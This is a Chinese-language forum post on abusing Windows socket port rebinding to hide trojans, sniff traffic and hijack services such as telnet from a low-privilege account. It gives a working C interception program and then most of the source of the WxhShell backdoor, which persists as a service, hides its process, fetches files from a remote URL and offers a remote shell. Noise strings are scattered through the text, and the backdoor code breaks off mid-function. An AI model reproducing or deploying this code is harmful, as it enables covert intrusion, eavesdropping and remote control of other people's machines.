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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: raUs%Y3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B6M+mx"G  
@wN G  
  saddr.sin_family = AF_INET; o(G"k  
 xvm5   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h5~n 1qX  
q31>uF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dl|gG9u4Q  
P~ 0Jg# V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :#{Xuy:  
`!4,jd  
  这意味着什么?意味着可以进行如下的攻击: F4C!CUI  
veh 5 }2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }*wLEa  
{^ec(EsO#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k$7Z^~?Fz  
*dsX#Iz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1y5Ex:JVZT  
~(X(&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Af-UScD%G  
xyeA  2Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4g` jd  
[~mGsXV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =JO^XwUOo  
Paf%rv2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |%7cdMC  
`: |@Zln  
  #include -1%OlKC  
  #include Lxe^v/LsT  
  #include ;sOsT?)7$  
  #include    w4};q%OBj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1,t)3;o$  
  int main() _M5%V>HO  
  { R= 5 **  
  WORD wVersionRequested; -j2 (R?a  
  DWORD ret; -K %5(Eg  
  WSADATA wsaData; \OwpD,'  
  BOOL val; 4Y ROB912  
  SOCKADDR_IN saddr; <PD?f/4 /  
  SOCKADDR_IN scaddr; 2& LQg=O  
  int err; aMuVqZw  
  SOCKET s; $95~5]-nh  
  SOCKET sc; blt'={Z?.x  
  int caddsize; 8*a), 3aK  
  HANDLE mt; pbk$o{$`W  
  DWORD tid;   l]Lx L  
  wVersionRequested = MAKEWORD( 2, 2 ); 4ne5=YY *  
  err = WSAStartup( wVersionRequested, &wsaData ); 9<1F[SS<s9  
  if ( err != 0 ) { TJ_=1Y@z  
  printf("error!WSAStartup failed!\n"); X` r* ob  
  return -1; :}}%#/nd  
  } iz^qR={bW  
  saddr.sin_family = AF_INET; IyUdZ,ba  
   UE0$ o?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |zsbW9 W*m  
QfpuZEUK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ud%s^A-qS  
  saddr.sin_port = htons(23); @tT-JwU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Djt%r<  
  { e{w>%)rcP  
  printf("error!socket failed!\n"); &l2TeC@;  
  return -1; + %*&.@z_  
  } $W8Cf[a  
  val = TRUE; 9(_{`2R8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]7GlO9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Gwec 4D  
  { B;#J"6w  
  printf("error!setsockopt failed!\n"); 8/%6@Y"Y*  
  return -1; G-um`/<%  
  } wTq{sW&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2a=sm1?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o+O}Te  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m]Y;c_DO:  
Sr Ca3PA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [3/VCYje  
  { KM,|} .@:  
  ret=GetLastError(); wEft4 o  
  printf("error!bind failed!\n"); c WAtju?L;  
  return -1; "9y( }  
  } Kyg=$^{>G  
  listen(s,2); &p(0K4:  
  while(1) %CnxjtTo  
  { VU.@R,  
  caddsize = sizeof(scaddr); r4}*l7Q  
  //接受连接请求 -b;|q.!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p]G3)s@>  
  if(sc!=INVALID_SOCKET) =Ufr^naA  
  { f{#j6wZM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5r,r%{@K  
  if(mt==NULL) NaUr!s  
  { PgM(l3x  
  printf("Thread Creat Failed!\n"); m}j:nk  
  break; ;T+pu>)  
  } ?*"srE,#JX  
  } BHFY%6J!  
  CloseHandle(mt); !p"aAZT7sq  
  } \6I +K"  
  closesocket(s); K{fsn4rk  
  WSACleanup(); X"MU3]  
  return 0; !c#]?b%  
  }   '_P\#7$!MV  
  DWORD WINAPI ClientThread(LPVOID lpParam) R,2P3lv1v@  
  { C(T;>if0NH  
  SOCKET ss = (SOCKET)lpParam; 6=hk=2]f  
  SOCKET sc; _Xcn N:Rt  
  unsigned char buf[4096]; tB7}|jC  
  SOCKADDR_IN saddr; 0u B'g+MU`  
  long num; vdDludEv  
  DWORD val; XM1`x  
  DWORD ret; o|pT;1a"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u+t$l^S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   una%[jTc  
  saddr.sin_family = AF_INET; PCrU<J 7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BP[|nL  
  saddr.sin_port = htons(23); WG71k8af  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yL4 T  
  { 9Z"+?bv/  
  printf("error!socket failed!\n"); G_H?f\/  
  return -1; '\#EIG  
  } i+3fhV  
  val = 100; U5HKRO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R8ONcG  
  { lK'Rn~  
  ret = GetLastError(); \VMD$zZx  
  return -1; NSA F4e  
  } pE.PX 8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b^c9po  
  { smY$-v)@  
  ret = GetLastError(); C Wo1.pVw  
  return -1; '|>9C^E9X  
  } 0yM[Z':i'{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bAk&~4Y_"  
  { C#;jYBtT7?  
  printf("error!socket connect failed!\n"); b#)U UGmI  
  closesocket(sc); abNV4 ,M  
  closesocket(ss); FXdD4X)  
  return -1; o\otgyoh  
  } 2L_6x<u'  
  while(1) <Peebv&v  
  { gd/H``x|Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #%@*p,xh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nwt C:*}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1_'? JfY-  
  num = recv(ss,buf,4096,0); jVgFZ,  
  if(num>0) iZ3W"Vd`b  
  send(sc,buf,num,0); VQI(Vp|  
  else if(num==0) E`H$YS3o  
  break; XZNY4/ 25G  
  num = recv(sc,buf,4096,0); -m= 8&B  
  if(num>0) m9}AG Rj  
  send(ss,buf,num,0); DmVP  
  else if(num==0) GV6K/T :  
  break; p}b/XnV$~  
  } pg+[y<B  
  closesocket(ss); wu9=N ^x  
  closesocket(sc); 5BkV aF7Th  
  return 0 ; *1Z5+uVT[  
  } y7i%W4  
FSuAjBl0-  
iJxQB\x  
========================================================== $QEilf;E  
g$:Xuw1  
下边附上一个代码,,WXhSHELL m4E)qCvy  
88"Sai  
========================================================== 3=Ec "  
<mMTD8Sx]  
#include "stdafx.h" P|2E2=G  
%Pqk63QF  
#include <stdio.h> F 09DV<j  
#include <string.h> $eV$2p3H  
#include <windows.h> :4S%'d7  
#include <winsock2.h> pCpb;<JG  
#include <winsvc.h> 4F>Urh+  
#include <urlmon.h> t&Os;x?To?  
/y7M lU9  
#pragma comment (lib, "Ws2_32.lib") 9mc!bj^811  
#pragma comment (lib, "urlmon.lib") R2L;bGI*J  
8mLP5s!7  
#define MAX_USER   100 // 最大客户端连接数 |wEN`#.;b  
#define BUF_SOCK   200 // sock buffer o'~5pS(wq  
#define KEY_BUFF   255 // 输入 buffer ;|p$\26S)%  
(KZHX5T=  
#define REBOOT     0   // 重启 lJP1XzN_  
#define SHUTDOWN   1   // 关机 WnUweSdW  
X0;4_,=  
#define DEF_PORT   5000 // 监听端口 :f5s4N  
%S` v!*2  
#define REG_LEN     16   // 注册表键长度 qzw'zV  
#define SVC_LEN     80   // NT服务名长度 1pv}]&X  
E Uar/  
// 从dll定义API Uq_j\A;c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8E&XbqP+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !{n<K:x1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XS0xLt=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j#~Jxv%n  
``,k5!a66\  
// wxhshell配置信息 ^[Ua46/"m  
struct WSCFG { @''GPL@  
  int ws_port;         // 监听端口 =&0wr6  
  char ws_passstr[REG_LEN]; // 口令 <D&)OxEn\  
  int ws_autoins;       // 安装标记, 1=yes 0=no LN l#h  
  char ws_regname[REG_LEN]; // 注册表键名 }7G8|54t  
  char ws_svcname[REG_LEN]; // 服务名 p2J|Hl|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UY2X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $wYtyN[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {Y}dv`G#Iu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aw ?=hXR!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =z{JgD/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +5.t. d  
ri C[lB  
}; E| YdcS  
]Mj/&b>"e  
// default Wxhshell configuration Sp}D ;7  
struct WSCFG wscfg={DEF_PORT, biozZ  
    "xuhuanlingzhe", {:c]|^w6  
    1, k+V6,V)my  
    "Wxhshell", FLoNE>q  
    "Wxhshell", /!}'t  
            "WxhShell Service", >U1R.B7f  
    "Wrsky Windows CmdShell Service", H* ,,^  
    "Please Input Your Password: ", Hv]7e|  
  1, E@a3~a  
  "http://www.wrsky.com/wxhshell.exe", _8}QlT  
  "Wxhshell.exe" zJ+8FWy:S  
    }; ,U )"WLmY  
Kx"<J@  
// 消息定义模块 SxyONp.$\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w|mb4AyL{?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KtS)'jf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d|Gl`BG   
char *msg_ws_ext="\n\rExit."; 5dx&Qu'}ZS  
char *msg_ws_end="\n\rQuit."; Fg$3N5*  
char *msg_ws_boot="\n\rReboot..."; 30PZ{c&Rll  
char *msg_ws_poff="\n\rShutdown..."; e& ANp0|W  
char *msg_ws_down="\n\rSave to "; RUCPV[{b  
(F7_S*  
char *msg_ws_err="\n\rErr!"; iFSJL,QZ3  
char *msg_ws_ok="\n\rOK!"; D2YZ9e   
Sz{O2 l Y  
char ExeFile[MAX_PATH]; 41#w|L \  
int nUser = 0; %or,{mmiM:  
HANDLE handles[MAX_USER]; \ JG8KE=j  
int OsIsNt; <";,GaZQ  
t3Z_Dp~\  
SERVICE_STATUS       serviceStatus; uUE9g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UV}73Sp  
5ep/h5*/  
// 函数声明 g u)=wu0  
int Install(void); }],Z;:  
int Uninstall(void); WqxUXH  
int DownloadFile(char *sURL, SOCKET wsh); O2{)WWOT  
int Boot(int flag); lcON+j  
void HideProc(void); *5sBhx  
int GetOsVer(void); JO&JP3N1  
int Wxhshell(SOCKET wsl); $&|y<Y=  
void TalkWithClient(void *cs); sUl6hX4  
int CmdShell(SOCKET sock); s6 ( z  
int StartFromService(void); ?#0snlah|  
int StartWxhshell(LPSTR lpCmdLine); C\_zdADUb%  
N_4eM,7t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  6,1b=2G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *KK+X07  
rI5F oh6  
// 数据结构和表定义 _!xD8Di#  
SERVICE_TABLE_ENTRY DispatchTable[] = r8xyd"Axy  
{ rdJm{<  
{wscfg.ws_svcname, NTServiceMain}, -3Avs9`5  
{NULL, NULL} eRbGZYrJ  
}; |eoid?=  
Dz!fpE'L  
// 自我安装 89{HJ9}  
int Install(void) Jxf~&!zR  
{ z^o1GY  
  char svExeFile[MAX_PATH]; ;vhyhP.oM  
  HKEY key; A6<C-1 N}j  
  strcpy(svExeFile,ExeFile); 5q{h 2).)  
tC8(XMVx  
// 如果是win9x系统,修改注册表设为自启动 C8@TZ[w  
if(!OsIsNt) { u{&B^s)k.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !DjvsG1x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Uu6L~iB  
  RegCloseKey(key); CZ 2`H[8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M"q[p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "%WgT2)m.  
  RegCloseKey(key); 0)YbI!  
  return 0; Nd:R" p*8  
    } \u`)kJ5o1  
  } : Ud[f`t  
} ]u-SL md  
else { :&}odx!-!C  
'"pd  
// 如果是NT以上系统,安装为系统服务 3[p_!eoW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0uVv<Q~  
if (schSCManager!=0) W#_/ak$uF*  
{ nGZX7Fx5  
  SC_HANDLE schService = CreateService MB);!qy  
  ( .F&9.#>  
  schSCManager, 5OM?3M  
  wscfg.ws_svcname, G@!z$  
  wscfg.ws_svcdisp, MgnM,95  
  SERVICE_ALL_ACCESS, 2.}R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !=Y;h[J.p  
  SERVICE_AUTO_START, ~Y= @$!Uq  
  SERVICE_ERROR_NORMAL, XA0 (f*  
  svExeFile, 0X..e$ '  
  NULL, oC*ees g_  
  NULL, L^kp8o^$  
  NULL, +5<k-0v  
  NULL, NW$H"}+o  
  NULL CozKyt/r7  
  ); W!$zXwY}(  
  if (schService!=0) UbJ*'eoX  
  { Qz<d~ N  
  CloseServiceHandle(schService); iWXc  
  CloseServiceHandle(schSCManager); -y) ,Y |  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /rB{[zk  
  strcat(svExeFile,wscfg.ws_svcname); ${~|+zdB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Itm8b4e9;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &0N<ofYX  
  RegCloseKey(key); ~+D*:7Y_  
  return 0; E ?2O(  
    } rt]S\  
  } oqkVYlE  
  CloseServiceHandle(schSCManager); a<XCNTaVT  
} =<f-ob8,  
} jdut4 nFc  
`Y?t@dd  
return 1; hVoNw6fE  
}  R)Q 4  
9V1cdb~?"T  
// 自我卸载 P=AS>N^yaL  
int Uninstall(void) $*MCU nl  
{ Ob+9W  
  HKEY key; x  FJg  
T*2C_oW  
if(!OsIsNt) { hi{%pi&!T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l1_X(Z._V  
  RegDeleteValue(key,wscfg.ws_regname); T~4mQuYi  
  RegCloseKey(key); 3EFD%9n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qX:B4,|ck  
  RegDeleteValue(key,wscfg.ws_regname); ,1n >U?5  
  RegCloseKey(key); !jX4`/n2  
  return 0; `qpc*enf0  
  } MKGS`X]<J  
} C.a5RF0  
} d<p2/aA  
else { AG"l1wz  
7l8[xV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E +_&HG}a  
if (schSCManager!=0) 3 &&+Y X  
{ bPD)D'Hs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9 wa,k  
  if (schService!=0) ]o.vB}WsY  
  { JXQPT  
  if(DeleteService(schService)!=0) { ,+/zH'U}  
  CloseServiceHandle(schService); ;|ub!z9GG  
  CloseServiceHandle(schSCManager); >G)qns9  
  return 0; dT@UK^\  
  } 4z4v\IpB  
  CloseServiceHandle(schService); o.:p_(|hI  
  } ~GB=Nz  
  CloseServiceHandle(schSCManager); ^i%A7pg  
} kN9yO5 h7  
} R|,7d:k  
,4F,:w  
return 1; 9V!-ZG  
} `_AM` >_  
0LVE@qEL  
// 从指定url下载文件 #Fd W/y5  
int DownloadFile(char *sURL, SOCKET wsh) DQ!J!ltQ  
{ 3><u*0qe%I  
  HRESULT hr; <HoAj"xf  
char seps[]= "/"; q|#MB7e/  
char *token; mMw;0/n  
char *file; ma8wmQ9JR  
char myURL[MAX_PATH]; S)\8|ym6!  
char myFILE[MAX_PATH]; A=3HO\n5  
y0q#R.TOm  
strcpy(myURL,sURL); s3t!<9[m  
  token=strtok(myURL,seps); 4I~i)EKy6  
  while(token!=NULL) M]_E  
  { D5]{2z}k  
    file=token; T-L5zu  
  token=strtok(NULL,seps); d+2daKi  
  } m@qqVRn#)  
f@z*3I;  
GetCurrentDirectory(MAX_PATH,myFILE); -zfoRU v  
strcat(myFILE, "\\"); D&{ *AH%Q  
strcat(myFILE, file); b](o]O{v  
  send(wsh,myFILE,strlen(myFILE),0); D!FaEN  
send(wsh,"...",3,0); # mT]j""  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jz:gr=* z  
  if(hr==S_OK) aiftlY  
return 0; WYIw5 jzC  
else F|eu<^"$ H  
return 1; \2DE ==M)P  
}C6@c1myq-  
} Q7Ij4  
c?6d2jH.  
// 系统电源模块 Q_P5MLU>  
int Boot(int flag) L7q |^`  
{ }5gr5g\OtP  
  HANDLE hToken; _vrWj<wyf  
  TOKEN_PRIVILEGES tkp; -CBD|fo[h  
!oMt_k X  
  if(OsIsNt) { uEd,rEB>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MV936  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I-:` cON=G  
    tkp.PrivilegeCount = 1; vA?_-.J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,b' 4CF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aWvd`qA9r  
if(flag==REBOOT) { moO _-@i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kL7^$  
  return 0; ?SX_gYe9  
} 1r4,XSk  
else { 981!2*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EF;,Gjh5p  
  return 0; 31XU7A  
} Y6eEGo"K.+  
  } S<oQ}+4[~  
  else { iHz[Zw^.s  
if(flag==REBOOT) { hx!`F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N lt4)  
  return 0; YFx=b!/ s  
} :XS"# ^aJ  
else { Dd/}Ya(Gi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \Hum}0[  
  return 0; lO 2k<  
} { /<4'B  
} _T~H[&Hl  
=lrN'$z?%  
return 1; 8XbR  
} (!n-Age  
h)o]TV  
// win9x进程隐藏模块 [X|OrRA  
void HideProc(void) FmA-OqEpA  
{  c!D> {N  
Zr"dOj$Jf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (3fPt;U  
  if ( hKernel != NULL ) v*D FiCQD  
  { T Nci.']  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); */U$sZQ)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6y@<?08Q  
    FreeLibrary(hKernel); ?UK:sF| (O  
  } +"=~o5k3Q  
>B~?dTm  
return; s1=u{ET  
} '3%*U*I  
Oxn'bh6R0  
// 获取操作系统版本 Gg+YfY_  
int GetOsVer(void) n\~yX<;X3  
{ m|dF 30~A  
  OSVERSIONINFO winfo; rk|a'&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CjZ6NAHc  
  GetVersionEx(&winfo); '#f?#(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $K=z  
  return 1; w:R]!e_6\9  
  else V'yxqI?  
  return 0; oZvG3_H4.  
} m/N(%oMWB=  
6SAQDE  
// 客户端句柄模块 [N R1d-Wg  
int Wxhshell(SOCKET wsl) }2xb&6g~o  
{ o}R|tOe  
  SOCKET wsh; :eLLDp<  
  struct sockaddr_in client; 2o}8W7y  
  DWORD myID; }q x(z^  
JOHp?3"4  
  while(nUser<MAX_USER) Bcm=G""  
{ %#Q #N,fw  
  int nSize=sizeof(client); 7eH@n <]Y2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /2'c>  
  if(wsh==INVALID_SOCKET) return 1; qid1b b  
"2K|#,%N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V,'FlU  
if(handles[nUser]==0) %>NRna  
  closesocket(wsh); ndt8=6p  
else e)og4  
  nUser++; % NwoU%q  
  } Xa\]ua_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v_.j/2U  
>hesxC!  
  return 0; A'(k Yc  
} y7 <(,uT  
/^WE@r[:  
// 关闭 socket )xbqQW7%0+  
void CloseIt(SOCKET wsh) 7dx4~dF  
{ ],#ZPUn  
closesocket(wsh); n%Rjt!9  
nUser--; 33S`aJ  
ExitThread(0); @) ]t8(  
} ~l@%=/m  
{.%0@{Y  
// 客户端请求句柄 /iTH0@Kw;  
void TalkWithClient(void *cs) N}1-2  
{ .y(@Y6hO  
6UtG-WHHt  
  SOCKET wsh=(SOCKET)cs; l9,w>]s  
  char pwd[SVC_LEN]; C(ZcR_+r$,  
  char cmd[KEY_BUFF]; F .& *D~f  
char chr[1]; ; vhnA$'a  
int i,j; ob)D{4B'  
7{8)ykBU^  
  while (nUser < MAX_USER) { 13]y)(  
34^Q5B~^J  
if(wscfg.ws_passstr) { gB'`I(q5.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1W4H-/Re  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %0go%_  
  //ZeroMemory(pwd,KEY_BUFF); P}b Dn;  
      i=0; @#J H=-06  
  while(i<SVC_LEN) { Y-?51g[u  
;2 \<M 6  
  // 设置超时 eq7C]i rH  
  fd_set FdRead; W>UjUq);  
  struct timeval TimeOut; ">0 /8]l  
  FD_ZERO(&FdRead); jR }*bIzv  
  FD_SET(wsh,&FdRead); FxMMxY,*%  
  TimeOut.tv_sec=8; (p'/p  
  TimeOut.tv_usec=0; 0!)U *+j,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -U&098}<K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qrOB_Nz  
([ E#zrz%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4_Tb)?L+:  
  pwd=chr[0]; bK6, saN>  
  if(chr[0]==0xd || chr[0]==0xa) { an #jZ[  
  pwd=0; t/_\U =i$  
  break; :^C#-O  
  } DB!uv[c  
  i++; t4*aVHT  
    } /<G yg7o0  
4j2~"K  
  // 如果是非法用户,关闭 socket U Ek |8yq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3BuD/bs  
} =2Pz$q*ub  
MX%|hIOpr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }"!6Xm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i@sCMCu6  
Z{j!s6Y@{  
while(1) { Iht mD@H}  
4"`=huQ  
  ZeroMemory(cmd,KEY_BUFF); GA}hp%  
kjQIagw  
      // 自动支持客户端 telnet标准   })Ix .!p  
  j=0; :"h Pg]'  
  while(j<KEY_BUFF) { 0EF,uRb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S8rW'}XJ=H  
  cmd[j]=chr[0]; 89?3,k  
  if(chr[0]==0xa || chr[0]==0xd) { `XFX`1  
  cmd[j]=0; =+kvL2nx-  
  break; HQ jxJd5P  
  } _CYmG"mY  
  j++; Y,p2eAss  
    } exGhkt~  
+sV#Z,  
  // 下载文件 4'7 v!I9  
  if(strstr(cmd,"http://")) { #w[q.+A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _Y:Ja0,  
  if(DownloadFile(cmd,wsh)) +Px<DX+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U:C-\ M  
  else fbW,0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); woC FN1W  
  } mRix0XBI~  
  else { l[ZQ7$kL  
!IQfeo T  
    switch(cmd[0]) { "oKj~:$  
  Vf#oKPP1  
  // 帮助 !]UU;8h~  
  case '?': { NG4eEnic!a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QqT6P`0u  
    break; &eLQ;<qO*|  
  } 2xz%'X%  
  // 安装 '2i)#~YO<  
  case 'i': { !rN#PF>  
    if(Install()) `t/@ L:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pEqr0Qwh  
    else PAO[Og,-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H@OrX  
    break; hA&j?{  
    } UGezo3}  
  // 卸载 H_xQ>~b  
  case 'r': { ~ Iu21Q(*  
    if(Uninstall()) Z n"TG/:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jQw`*Y/,  
    else 0|*UeM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 519:yt   
    break; 8{U]ATx'(  
    } !Barc ,kA  
  // 显示 wxhshell 所在路径 C$]%1<-Iv]  
  case 'p': { ,sQ0atk7ma  
    char svExeFile[MAX_PATH]; Ra15d^  
    strcpy(svExeFile,"\n\r"); o 0cc+  
      strcat(svExeFile,ExeFile); bo?3E +B  
        send(wsh,svExeFile,strlen(svExeFile),0); ]CtoK%k  
    break; .,BD DPFB  
    } wb}N-8x  
  // 重启 6vp8LNSW  
  case 'b': { WP#_qqO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MSm`4lw  
    if(Boot(REBOOT)) p7ns(g@9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  el*pYI  
    else { JCU3\39}  
    closesocket(wsh); M}KM]<  
    ExitThread(0); JQVw6*u{  
    } { "@b`  
    break; O+UV\  
    } b&V]|Z (  
  // 关机 Lb3K};SIV  
  case 'd': { \i;~~;D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lXL7q?,9  
